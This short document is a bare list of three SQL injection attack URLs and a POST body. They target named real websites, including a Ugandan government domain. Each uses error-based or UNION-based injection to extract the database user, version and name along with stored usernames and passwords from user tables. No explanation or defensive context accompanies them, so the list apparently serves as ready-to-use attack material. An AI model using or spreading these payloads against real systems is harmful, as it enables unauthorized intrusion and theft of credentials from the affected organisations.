http://www.apca.org.ug/index.php?ty=page&i=107+or%281,2%29=%28select+coun t%28*%29,concat%28%28++select+concat%28user(),0x3a ,version(),0x3a,database(),0x3a,username,0x3a,pass word%29+from+users+limit+0,1%29,0x3a,floor%28rand% 28%29*2%29%29+from+information_schema.columns+grou p+by+2+limit+0,1%29--

http://www.bwinditrust.ug/content.php?content_id=8&sub_id=7 or(1,2)=(select count(*),concat(( select concat(user(),0x3a,version(),0x3a,database(),0x3a, uname,0x3a,passwd,0x3a,level,0x3a,status) from authuser limit 0,1),0x3a,floor(rand()*2)) from authuser group by 2 limit 0,1)

http://www.naro.go.ug/Inventory/naro/display_search_results.php
POST
institution_type=-3+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,us er(),database(),version()),11--&Button2=+++SEARCH++++